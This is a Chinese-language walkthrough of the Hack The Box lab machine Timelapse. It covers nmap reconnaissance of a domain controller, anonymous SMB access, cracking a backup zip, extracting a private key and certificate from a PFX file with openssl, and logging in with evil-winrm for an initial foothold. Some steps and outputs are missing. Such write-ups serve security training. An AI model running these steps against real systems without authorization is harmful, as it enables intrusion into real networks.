nmap扫描
1、扫描TCP端口并保存
# nmap -sT --min-rate 10000 -p- 10.10.11.152 -oA nmap/tcp
PORT STATE SERVICE
53/tcp open domain
88/tcp open kerberos-sec
135/tcp open msrpc
139/tcp open netbios-ssn
445/tcp open microsoft-ds
464/tcp open kpasswd5
593/tcp open http-rpc-epmap
636/tcp open ldapssl
3268/tcp open globalcatLDAP
3269/tcp open globalcatLDAPssl
5986/tcp open ssl/http
9389/tcp open adws
49667/tcp open unknown
49674/tcp open unknown
49695/tcp open unknown
49727/tcp open unknown
# ports=$(grep open nmap/tcp.nmap | awk -F '/' '{print $1}' | tr '\n' ',' | sed 's/,$//')
# echo $ports
53,88,135,139,445,464,593,636,3268,3269,5986,9389,49667,49674,49695,49727
通过靶机有开放636和88端口，初步判断是一台域控。
2、扫描详细信息
# nmap -sT -sV -sC -p$ports -O 10.10.11.152 -oA nmap/detail
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2025-02-18 20:02:51Z)
135/tcp open msrpc Microsoft Windows RPC

636/tcp open ldapssl?
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: timelapse.htb0., Site: Default-First-Site-Name)
3269/tcp open globalcatLDAPssl?
5986/tcp open ssl/http Microsoft HTTPAPI httpd 2.0(SSDP/UPnP)

3、扫描常用的20个UDP端口
# nmap -sU --top-ports 20 10.10.11.152 -oA nmap/udp
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-02-18 19:45 CST

4、漏洞脚本扫描
# nmap --script=vuln -p$ports 10.10.11.152 -oA nmap/vuln
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-02-18 20:10 CST

9389/tcp open adws
49667/tcp open unknown
49674/tcp open unknown
49695/tcp open unknown

5、将域名写入hosts文件
# vi /etc/hosts
10.10.11.152 timelapse.htb
10.10.11.152 dc01.timelapse.htb
从smb入手
1、以匿名登录的方式列出并下载smb共享文件

2、破解 winrm_backup.zip压缩包

# openssl pkcs12 -in legacyy_dev_auth.pfx -nocerts -out pfx.pem
Enter Import Password:
Enter PEM pass phrase:
Verifying - Enter PEM pass phrase:
//pkcs12：子命令，专门用于处理 PKCS#12 文件（PFX 文件）。-nocerts：不提取证书信息，只提取私钥。
pfx.pem：私钥将以 PEM 格式保存到这个文件中，PEM 格式是一种常用的编码格式，存储和传输数字证书、私钥和其他与加密相关的数据，使用 Base64 编码并以 ASCII 文本形式存储。
Web 服务器通常使用 PEM 格式的证书文件来配置 HTTPS，以.key 或 .pem 结尾，通常用于保存私钥。
Enter PEM pass phrase：要求为即将导出的 PEM 文件设置一个密码。PEM 文件中的私钥也将被加密，以确保其安全性。随便输入即可
4、提取pfx文件证书
# openssl pkcs12 -in legacyy_dev_auth.pfx -clcerts -nokeys -out pfx.crt
Enter Import Password:
//-clcerts：只导出客户端证书，而不是 CA 证书或其他类型的证书。-nokeys：不导出私钥。
以 .crt 或 .pem 结尾，通常用于保存 X.509 证书。X.509 是一种国际标准，定义了公钥基础设施中数字证书的格式和内容，用于验证实体的身份，并在加密通信中提供信任基础。
获得初始立足点
# evil-winrm -i 10.10.11.152 -k pfx.pem -c pfx.crt -S
//-k：指定私钥。-c：指定公钥或客户端证书（包括公钥、身份信息和元数据等）。因为使用证书的认证方式，所以需要指定-S，即ssl
确认靶机IP没问题，已经获得初始立足点。
